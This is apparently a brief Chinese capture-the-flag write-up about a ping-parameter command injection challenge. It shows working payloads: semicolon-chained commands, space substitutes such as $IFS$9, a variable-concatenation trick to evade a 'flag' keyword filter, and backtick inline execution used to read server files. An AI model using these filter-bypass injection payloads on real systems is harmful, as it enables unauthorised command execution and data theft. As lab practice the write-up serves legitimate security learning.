直接试试传参ip
他确实去ping了
昨天也碰到过一个差不多的题目
所以试一下linux的指令
?ip=192.168.1.1;ls
成功了
果然是linux
尝试打开flag.php
看提示应该是过滤了空格
上百度找到了几种代替空格的方法
%20(space)、%09(tab)、$IFS$9、${IFS}$9、 {IFS}、IFS
测试发现括号也被过滤了
所以使用$IFS$9代替空格
继续打开flag.php
还是失败了
试试打开index.php
cat$IFS$1index.php
观察代码,发现写的是过滤规则
其中还有对flag的正则匹配
于是想到了去拼接
上百度搜索了linux拼接字符串的方法
构造payload
?ip=1;b=ag;a=fl;cat$IFS$1$a$b.php
检查源码发现flag
后来又发现一种做法
内联执行
?ip=1;cat$IFS$1`ls`
使用反引号直接执行ls查询到的内容